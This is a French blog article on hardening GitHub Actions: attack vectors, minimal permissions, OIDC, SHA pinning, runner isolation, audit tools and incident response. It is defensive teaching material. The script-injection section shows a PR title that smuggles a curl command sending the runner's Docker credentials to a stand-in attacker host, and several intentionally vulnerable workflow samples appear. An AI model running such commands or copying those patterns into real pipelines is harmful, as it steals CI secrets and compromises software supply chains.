DevSecOps

Sécurité GitHub Actions 2026 : durcissement complet

Sécurité GitHub Actions 2026 : vecteurs d'attaque (PPE, script injection, tag hijacking), permissions minimales, OIDC, SHA pinning, self-hosted, détection.

Naim Aouaichia
15 min de lecture
  • GitHub Actions
  • DevSecOps
  • CI/CD
  • Supply Chain
  • OIDC
  • Pipeline Security
  • Runners
  • Durcissement

Sécuriser GitHub Actions en 2026 repose sur un durcissement multi-couches qui combine sept contrôles cumulatifs : permissions minimales par défaut au niveau organisation, pinning systématique des actions par SHA commit, OIDC federation pour remplacer les long-lived secrets cloud, validation stricte de pull_request_target, environments protégés avec approbation humaine, runners éphémères isolés, et monitoring runtime type StepSecurity Harden Runner. GitHub Actions est devenu le système CI/CD le plus utilisé au monde — plus de 100 millions de workflow runs par jour en 2025 selon les données GitHub — ce qui en fait une cible prioritaire pour les attaquants. Les incidents documentés (compromissions d'Actions populaires, Poisoned Pipeline Execution sur des projets open source majeurs, self-hosted runner hijacking via PR) suivent un patron récurrent : interpolation non contrôlée, permissions excessives, tags mutables, absence de monitoring. Cet article détaille les 8 vecteurs d'attaque spécifiques à GitHub Actions, le durcissement par contrôle, les patterns sécurisés pour pull_request_target et les self-hosted runners, les outils d'audit open source (zizmor, poutine, Harden Runner) et une checklist opérationnelle mappée aux recommandations du GitHub Actions Security Hardening Guide.

Les 8 vecteurs d'attaque GitHub Actions spécifiques

Les vulnérabilités pipeline génériques (OWASP Top 10 CI/CD) prennent des formes spécifiques sur GitHub Actions qu'il faut connaître précisément.

1. Script injection via contexte

Les expressions ${{ ... }} dans un run: sont interpolées avant exécution shell. Si la source contient des caractères spéciaux contrôlés par l'attaquant, le code shell injecté s'exécute dans le contexte du runner.

# Vulnérable : interpolation directe du titre de PR
on:
  pull_request:
    types: [opened]
 
jobs:
  greet:
    runs-on: ubuntu-latest
    steps:
      - run: echo "Nouvelle PR : ${{ github.event.pull_request.title }}"

Si l'attaquant ouvre une PR avec un titre "; curl http://attacker.oob.example/$(cat /home/runner/.docker/config.json | base64) #, le shell exécute la commande curl et exfiltre les credentials du runner.

# Sécurisé : passer la valeur via une variable d'environnement
on:
  pull_request:
    types: [opened]
 
jobs:
  greet:
    runs-on: ubuntu-latest
    steps:
      - env:
          PR_TITLE: ${{ github.event.pull_request.title }}
        run: echo "Nouvelle PR : $PR_TITLE"

La différence critique : l'interpolation directe dans run: est substituée textuellement avant que le shell parse la commande. Le passage via env: place la valeur dans une variable d'environnement que le shell traite comme une chaîne opaque.

Sources de contexte particulièrement dangereuses : github.event.issue.title, github.event.pull_request.title, github.event.pull_request.body, github.event.pull_request.head.ref, github.event.commits[].message, github.event.comment.body. Le GitHub Actions Security Hardening Guide documente la liste complète.

2. Poisoned Pipeline Execution via pull_request_target

Le déclencheur pull_request_target est la principale source d'incidents documentés sur GitHub Actions depuis 2021. À la différence de pull_request qui exécute le workflow dans le contexte de la PR (sans accès aux secrets du repo cible), pull_request_target exécute avec les secrets du repo cible tout en étant déclenché par des contributeurs externes.

# Vulnérable : checkout du code de la PR puis exécution avec secrets
on: pull_request_target
 
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      - run: npm install && npm test
      - env:
          DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }}
        run: npm run deploy

L'attaquant peut modifier package.json ou npm test pour exécuter du code arbitraire avec accès au DEPLOY_KEY. Pattern exploité contre de multiples projets open source entre 2021 et 2024.

# Sécurisé : séparer les phases non-privilégiées et privilégiées
on: pull_request_target
 
jobs:
  # Job 1 : code PR exécuté sans secrets
  test:
    runs-on: ubuntu-latest
    permissions:
      contents: read
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      - run: npm install && npm test
 
  # Job 2 : actions privilégiées sans checkout du code PR
  label:
    runs-on: ubuntu-latest
    permissions:
      pull-requests: write
    steps:
      - uses: actions/github-script@v7
        with:
          script: |
            // Actions sur la PR sans exécuter le code de la PR
            github.rest.issues.addLabels({ ... })

Règle simple : si tu fais checkout du code de la PR, n'utilise jamais pull_request_target. Si tu utilises pull_request_target, ne fais jamais checkout du code de la PR.

3. Tag mutable et tag hijacking

Une Action référencée par tag (v1, v4) exécute ce que le tag pointe au moment du run. Le mainteneur peut repointer le tag (légitimement ou suite à compromission) vers un commit différent.

# Vulnérable : tag mutable
- uses: third-party/action@v1
 
# Vulnérable : même une release tag comme v1.2.3 reste techniquement mutable en Git
- uses: third-party/action@v1.2.3
 
# Sécurisé : pin par SHA commit immuable + commentaire de version
- uses: third-party/action@a1b2c3d4e5f678901234567890abcdef12345678  # v1.2.3

Dependabot met à jour automatiquement ces pins quand une nouvelle version sort. Le commit SHA garantit que le code exécuté est celui qui a été audité au moment de la mise à jour.

4. Workflow command injection

Les workflow commands legacy (::set-output, ::save-state) ont été dépréciées en 2023 après la découverte d'injections via stdout. Leur successeur $GITHUB_OUTPUT et $GITHUB_STATE reste exposé si on y écrit des données non validées.

# Vulnérable : données attaquant écrites brutes dans GITHUB_OUTPUT
echo "title=${PR_TITLE}" >> "$GITHUB_OUTPUT"
 
# Si PR_TITLE contient "malicious=payload", le parser GitHub l'interprète
# comme un second output nommé 'malicious' avec valeur 'payload'.
# Défense : utiliser le heredoc syntax officiel
delim=$(openssl rand -hex 8)
{
  echo "title<<${delim}"
  echo "${PR_TITLE}"
  echo "${delim}"
} >> "$GITHUB_OUTPUT"

5. GITHUB_TOKEN permissions excessives

Historiquement, GITHUB_TOKEN avait par défaut des permissions read-write étendues sur le repo. Une action compromise pouvait modifier le code, créer des releases, déployer, effacer. GitHub a introduit en 2022 le setting « Workflow permissions » pour basculer en read-only par défaut. Beaucoup de repos legacy restent en read-write par défaut.

# Configuration au niveau repo/org (Settings → Actions → General → Workflow permissions)
# Option à sélectionner : "Read repository contents and packages permissions"
 
# Dans chaque workflow, déclaration explicite minimale
name: Build
on: push
 
permissions: {}  # aucune permission par défaut
 
jobs:
  test:
    runs-on: ubuntu-latest
    permissions:
      contents: read  # suffisant pour un simple checkout + test
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
      - run: npm test
 
  release:
    runs-on: ubuntu-latest
    if: startsWith(github.ref, 'refs/tags/v')
    permissions:
      contents: write     # pour créer release
      id-token: write     # pour OIDC
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
      - run: gh release create ${{ github.ref_name }} --generate-notes

6. Self-hosted runner hijacking

Un self-hosted runner sur repo public exécute par défaut les PR externes. L'attaquant ouvre une PR qui modifie le workflow ou un script exécuté par le CI, prend la main sur la machine self-hosted. Si cette machine a accès au réseau interne, compromission critique.

Règles strictes en 2026 :

  • Jamais de self-hosted runner sur repo public sans approval gates pour les contributeurs non-trusted.
  • Runners éphémères uniquement. Configuration via ARC (Actions Runner Controller) en Kubernetes ou via le pattern de runner jetable avec --ephemeral.
  • Isolation réseau : VPC dédié, pas d'accès direct à la prod. Accès cloud via OIDC éphémère uniquement.
  • Pas de Docker socket monté en volume. Utiliser kubernetes/setup-kubectl + docker/setup-buildx-action en mode rootless.
  • Runner groups pour séparer les runners sensibles (prod) des runners génériques.

7. Reusable workflow confusion

Les reusable workflows (uses: ./.github/workflows/my-reusable.yml@v1) sont également vulnérables aux tags mutables et aux permissions excessives si mal déclarés. Les secrets passés via secrets: inherit sont exposés à tous les jobs du workflow appelé.

# Vulnérable : inherit transmet tous les secrets
jobs:
  call-reusable:
    uses: my-org/my-repo/.github/workflows/deploy.yml@v1
    secrets: inherit
 
# Sécurisé : transmettre uniquement les secrets strictement nécessaires
jobs:
  call-reusable:
    uses: my-org/my-repo/.github/workflows/deploy.yml@commit-sha-pinned
    secrets:
      DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN_PROD }}

8. Expression injection dans les conditionnels

Les conditions if: évaluées sur des expressions peuvent être contournées si la source est attaquant-contrôlée.

# Vulnérable : le titre de PR peut contenir une valeur qui fait passer la condition
if: contains(github.event.pull_request.title, 'skip-ci') == false
 
# Si un attaquant met un titre crafted, l'évaluation de l'expression peut
# produire un comportement inattendu selon le parser GitHub Actions.
# Défense : utiliser des valeurs fixées côté GitHub (labels, author), pas
# du texte utilisateur.
if: contains(github.event.pull_request.labels.*.name, 'skip-ci') == false

Checklist de durcissement par niveau

Approche progressive en trois niveaux, applicable à tout repo utilisant GitHub Actions.

NiveauContrôleEffort
BaseWorkflow permissions read-only par défaut au niveau org1 heure
BasePermissions explicites par workflow et par job2 à 5 jours par repo
BasePinning SHA de toutes les actions tierces1 jour
BaseDependabot activé pour GitHub Actions30 minutes
BaseSecret scanning et push protection activés10 minutes
IntermédiaireOIDC federation vers AWS, Azure, GCP2 à 5 jours
IntermédiaireEnvironments avec required reviewers pour prod1 heure
IntermédiaireAllowlist d'actions au niveau organisation1 jour
IntermédiaireAudit automatique avec zizmor ou poutine en CI1 heure
IntermédiaireStepSecurity Harden Runner en mode learning2 heures
AvancéHarden Runner en mode block sur allowlist sortante1 à 2 semaines
AvancéSelf-hosted runners éphémères via ARC Kubernetes1 à 2 semaines
AvancéSignature Cosign et SLSA L2 via slsa-github-generator2 à 5 jours
AvancéLogs export vers SIEM externe1 semaine

OIDC federation : le pattern de référence 2026

Remplacer les long-lived secrets cloud (AWS_ACCESS_KEY_ID, Azure Service Principal secret, GCP Service Account key) par des tokens éphémères obtenus via OIDC est l'évolution la plus importante de GitHub Actions security 2021-2026. La configuration type pour AWS :

name: deploy
on:
  push:
    branches: [main]
 
permissions:
  id-token: write  # requis pour GitHub OIDC
  contents: read
 
jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production  # approval gate si configuré
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
 
      - uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502
        with:
          role-to-assume: arn:aws:iam::123456789012:role/GitHubActionsDeploy
          role-session-name: gha-${{ github.run_id }}
          aws-region: eu-west-3
          # Durée session IAM courte (15 min)
          role-duration-seconds: 900
 
      - run: aws s3 sync ./dist/ s3://my-prod-bucket/

La trust policy côté AWS limite l'assume-role à la provenance exacte :

{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": {
      "Federated": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com"
    },
    "Action": "sts:AssumeRoleWithWebIdentity",
    "Condition": {
      "StringEquals": {
        "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
      },
      "StringLike": {
        "token.actions.githubusercontent.com:sub": [
          "repo:my-org/my-repo:ref:refs/heads/main",
          "repo:my-org/my-repo:environment:production"
        ]
      }
    }
  }]
}

Le champ sub de l'OIDC token permet de limiter :

  • par repo (repo:my-org/my-repo:*)
  • par branche (repo:my-org/my-repo:ref:refs/heads/main)
  • par environment (repo:my-org/my-repo:environment:production)
  • par pull request (repo:my-org/my-repo:pull_request)

Toujours restreindre à la granularité la plus fine qui convient au use case. Une condition repo:*:* sans précision est aussi risquée qu'un long-lived secret.

Configuration organization-level

Trois contrôles critiques à configurer au niveau organisation GitHub (impactent tous les repos).

Actions allowlist

Limiter les actions utilisables dans l'organisation à une liste approuvée. Soit aux actions officielles GitHub (actions/*), soit à une allowlist explicite (actions/*, docker/*, aquasecurity/*, aws-actions/*), soit à Local actions only pour les organisations les plus strictes.

Workflow permissions par défaut

Settings → Actions → General → Workflow permissions :

  • Read repository contents and packages permissions (read-only, recommandé en 2026).
  • Cocher « Allow GitHub Actions to create and approve pull requests » uniquement si nécessaire.

Fork pull request workflows

Settings → Actions → General → Fork pull request workflows in private repositories :

  • Require approval for all outside collaborators au minimum.
  • Require approval for first-time contributors au minimum pour les repos publics.

Monitoring runtime avec Harden Runner

StepSecurity Harden Runner est un agent qui s'injecte dans le runner et surveille les connexions réseau, les modifications filesystem, les exécutions de processus pendant l'exécution du workflow.

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      # Premier step obligatoirement : inject agent
      - uses: step-security/harden-runner@v2
        with:
          # Mode audit : logue sans bloquer (pour apprendre les destinations)
          egress-policy: audit
          # Après période d'observation, passer à block
          # egress-policy: block
          # allowed-endpoints: >
          #   github.com:443
          #   registry.npmjs.org:443
          #   objects.githubusercontent.com:443
 
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
      - run: npm install && npm test

Cas d'usage documentés : Harden Runner a détecté en temps réel la compromission de plusieurs actions populaires en 2023-2024 (trafic sortant vers IPs non-allowlistées), permettant aux équipes adoptantes de stopper la propagation avant impact.

Mode learning d'abord (observer les destinations légitimes pendant 2 à 4 semaines), puis mode block avec allowlist affinée.

Outils d'audit automatique

Trois outils open source pour auditer les workflows existants.

zizmor

Scanner statique des fichiers .github/workflows/, détecte script injection, permissions excessives, actions non-pinées, pull_request_target vulnérable. Développé par William Woodruff (Trail of Bits) en 2024.

# Installation
pip install zizmor
 
# Audit du repo courant
zizmor .github/workflows/
 
# Intégration en CI comme GitHub Action
# - uses: zizmor-audit@v0

poutine (BoostSecurity)

Scanner plus poussé avec analyse cross-repository, détection de patterns connus d'exploitation, base de règles actualisée.

# Installation via Docker
docker pull boostsecurityio/poutine
 
# Scan d'une organisation GitHub complète
docker run --rm boostsecurityio/poutine \
  analyze-org my-github-org \
  --token $GITHUB_TOKEN

GitHub CodeQL

CodeQL inclut depuis 2024 des requêtes spécifiques aux workflows GitHub Actions (script injection, inappropriate-trigger, etc.). Activable via github/codeql-action avec queries: security-extended.

Détection et réponse

Trois patterns de détection à mettre en place pour compléter la prévention.

Export des audit logs

GitHub Enterprise et GitHub.com (plan Team+) proposent un export des audit logs via API. Intégrer dans un SIEM (Elastic Security, Datadog, Wazuh, Splunk) pour :

  • Alerter sur création ou modification de workflow par un compte non habituel.
  • Alerter sur ajout d'une action tierce hors allowlist.
  • Détecter les usages anormaux de secrets (exfiltration volumique).
  • Tracer les modifications de permissions organisation.

Alerting sur patterns spécifiques

# Exemples de règles Sigma utiles (adaptables Elastic/Splunk/Wazuh)
- Workflow modifié sur branche main sans PR (push direct par admin).
- Ajout d'un secret au niveau organisation.
- Tentative de run d'un workflow par un contributeur externe first-time.
- Modification du setting "Workflow permissions" au niveau org ou repo.
- Téléchargement d'artefact par un compte non-lié au repo.

Incident response playbook

En cas de compromission suspectée ou confirmée :

  1. Révoquer immédiatement tous les tokens et secrets du repo concerné.
  2. Désactiver les workflows en mass via API.
  3. Auditer les 30 derniers jours de workflow runs pour identifier les actions malveillantes.
  4. Rotater toutes les clés cloud, tokens de déploiement, credentials database utilisés par les workflows.
  5. Scanner les artefacts produits pendant la période suspecte pour détecter d'éventuelles backdoors injectées.
  6. Publier un post-mortem si l'incident touche des utilisateurs downstream (transparence supply chain).

Pattern sécurisé : workflow release production

Pour illustrer l'ensemble des contrôles, exemple de workflow release complet intégrant : permissions minimales, pinning SHA, OIDC, environment protection, Harden Runner, signature Cosign, SBOM.

name: Release to production
 
on:
  push:
    tags: ["v*.*.*"]
 
permissions: {}
 
jobs:
  build:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      id-token: write
      packages: write
 
    steps:
      - uses: step-security/harden-runner@91182cccc01eb5e619899d80e4e971d6181294a7  # v2.10.1
        with:
          egress-policy: audit
 
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v4.2.2
 
      - uses: docker/login-action@9780b0c442fbb1117ed29e0efdff1e18412f7567  # v3.3.0
        with:
          registry: ghcr.io
          username: ${{ github.actor }}
          password: ${{ secrets.GITHUB_TOKEN }}
 
      - uses: docker/build-push-action@4f58ea79222b3b9dc2c8bbdd6debcef730109a75  # v6.9.0
        id: build
        with:
          push: true
          tags: ghcr.io/${{ github.repository }}:${{ github.ref_name }}
 
      - uses: sigstore/cosign-installer@4959ce089c160fddf62f7b42464195ba1a56d382  # v3.6.0
 
      - name: Sign image
        run: |
          cosign sign --yes \
            ghcr.io/${{ github.repository }}@${{ steps.build.outputs.digest }}
 
      - uses: anchore/sbom-action@f325610c9f50a54015d37c8d16cb3b0e2c8f4de0  # v0.17.6
        with:
          image: ghcr.io/${{ github.repository }}@${{ steps.build.outputs.digest }}
          format: cyclonedx-json
 
  deploy:
    needs: build
    runs-on: ubuntu-latest
    environment: production  # approval gate si reviewers configurés
    permissions:
      id-token: write
      contents: read
 
    steps:
      - uses: step-security/harden-runner@91182cccc01eb5e619899d80e4e971d6181294a7
        with:
          egress-policy: audit
 
      - uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502  # v4.0.2
        with:
          role-to-assume: arn:aws:iam::123456789012:role/GitHubActionsDeploy
          role-session-name: deploy-${{ github.run_id }}
          aws-region: eu-west-3
          role-duration-seconds: 900
 
      - name: Verify signature before deploy
        run: |
          cosign verify \
            --certificate-identity-regexp='^https://github.com/${{ github.repository_owner }}/' \
            --certificate-oidc-issuer='https://token.actions.githubusercontent.com' \
            ghcr.io/${{ github.repository }}:${{ github.ref_name }}
 
      - name: Deploy
        run: aws ecs update-service --cluster prod --service my-app --force-new-deployment

Points clés à retenir

  • GitHub Actions concentre 8 vecteurs d'attaque spécifiques : script injection via contexte, PPE via pull_request_target, tag hijacking, workflow command injection, GITHUB_TOKEN excessif, self-hosted runner hijacking, reusable workflow confusion, expression injection.
  • Les trois contrôles à activer en priorité : workflow permissions read-only par défaut au niveau org, pinning SHA de toutes les actions tierces, OIDC federation vers AWS/Azure/GCP.
  • pull_request_target est la principale source d'incidents. Règle absolue : jamais de checkout du code PR dans un workflow pull_request_target, jamais d'interpolation de github.event.pull_request.* dans un script sans validation.
  • StepSecurity Harden Runner apporte une détection runtime précieuse pour détecter les compromissions d'actions tierces en temps réel. Mode learning puis mode block sur allowlist.
  • Les outils d'audit open source (zizmor, poutine, CodeQL) couvrent 80 % des vulnérabilités évidentes en quelques heures d'effort. À intégrer en CI comme filet permanent.

Pour aller plus loin

Questions fréquentes

  • Quelle est la principale erreur de sécurité sur GitHub Actions ?
    L'utilisation du déclencheur pull_request_target sans précaution stricte. Ce déclencheur exécute le workflow avec les secrets et les permissions du repo cible, ce qui est nécessaire pour certains cas (auto-labeling, CI sur fork avec secrets), mais expose à une compromission totale si un checkout du code de la PR est fait ou si des données de la PR sont interpolées dans un script. Plus de 60 % des Poisoned Pipeline Execution documentés sur GitHub Actions en 2023-2025 exploitent cette surface. La règle : ne jamais faire actions/checkout de la PR dans un workflow pull_request_target, et ne jamais interpoler github.event.pull_request.* dans un script sans validation stricte.
  • Pourquoi pinner les actions par SHA commit et pas par tag ?
    Un tag Git (v1, v4) est mutable. Le mainteneur d'une action peut repointer le tag vers un commit différent, soit intentionnellement (rollback légitime), soit suite à compromission de son compte. Utiliser `uses: some/action@v1` exécute ce que le tag pointe au moment du run, pas ce qui a été audité. Le SHA commit (40 caractères hex) est immuable. Exemple : `uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2`. Le commentaire `# v4.2.2` documente la version humaine. Dependabot et Renovate mettent à jour automatiquement ces pins. Cette pratique est explicitement recommandée par le GitHub Actions Security Hardening Guide depuis 2022.
  • Comment migrer d'un GITHUB_TOKEN par défaut à des permissions minimales ?
    Deux étapes. Première : configurer au niveau organisation ou repo le paramètre 'Workflow permissions' sur 'Read repository contents and packages permissions' (au lieu du 'Read and write' historique). Cela rend tous les workflows read-only par défaut. Deuxième : ajouter un bloc `permissions` explicite dans chaque workflow ou job qui a besoin de permissions spécifiques. Exemple : `permissions: { contents: write, pull-requests: write }` pour un workflow qui ouvre une PR automatique. Cette migration prend 1 à 3 jours sur un repo moyen et élimine une grande partie de la surface d'attaque en cas de compromission d'une action tierce.
  • Les self-hosted runners sont-ils dangereux par nature ?
    Non par nature, mais la configuration par défaut est dangereuse sur repo public. Un runner self-hosted exécute le code des PR entrantes, ce qui permet à un attaquant externe d'exécuter du code arbitraire sur le runner via une PR malveillante. Sur repo public, cela peut compromettre le réseau interne. Règles strictes : ne jamais utiliser de self-hosted runners sur repo public sauf protection explicite (approval gates pour contributeurs externes), toujours utiliser des runners éphémères (détruits après chaque job), isoler par VPC avec firewall restrictif, pas de Docker socket monté en volume. Pour les besoins en puissance GPU ou accès réseau privé, GitHub propose des GitHub-hosted larger runners (coût plus élevé, sécurité maintenue).
  • Qu'est-ce que StepSecurity Harden Runner et faut-il l'adopter ?
    Harden Runner de StepSecurity est une GitHub Action qui injecte un agent de monitoring runtime dans le runner pendant l'exécution du workflow. Elle bloque les connexions sortantes non explicitement autorisées, détecte les appels suspects au filesystem ou au processus init, et produit un rapport d'anomalies par run. Mode learning (audit) disponible pour observer avant de passer en block. Recommandé en 2026 sur tout workflow production : détection réelle d'actions compromises en quelques secondes (exemple : compromission tj-actions/changed-files mars 2025 détectée via Harden Runner trafic sortant vers IP inconnue). Version open source et SaaS. Ajoute 5 à 15 secondes par job, impact mineur.
  • Comment auditer les workflows existants pour trouver les vulnérabilités ?
    Trois outils open source complémentaires en 2026. Zizmor (mis en circulation 2024 par William Woodruff) scanne les fichiers .github/workflows/ pour détecter les patterns vulnérables (script injection, permissions excessives, actions non-pinées). Poutine (BoostSecurity) fait de l'analyse statique plus poussée avec détection cross-repository. GitHub Actions scanner dans CodeQL fournit des requêtes dédiées aux workflows. En commercial : Legit Security, StepSecurity Policy. Commencer par zizmor en CLI ou Action, audit rapide, corrige les 80 % des vulnérabilités évidentes en quelques heures.

Écrit par

Naim Aouaichia

Expert cybersécurité et fondateur de Zeroday Cyber Academy

Expert cybersécurité avec un master spécialisé et un parcours hybride : développement, DevOps, DevSecOps, SOC, GRC. Fondateur de Hash24Security et Zeroday Cyber Academy. Formateur et créateur de contenu technique sur la cybersécurité appliquée, la sécurité des LLM et le DevSecOps.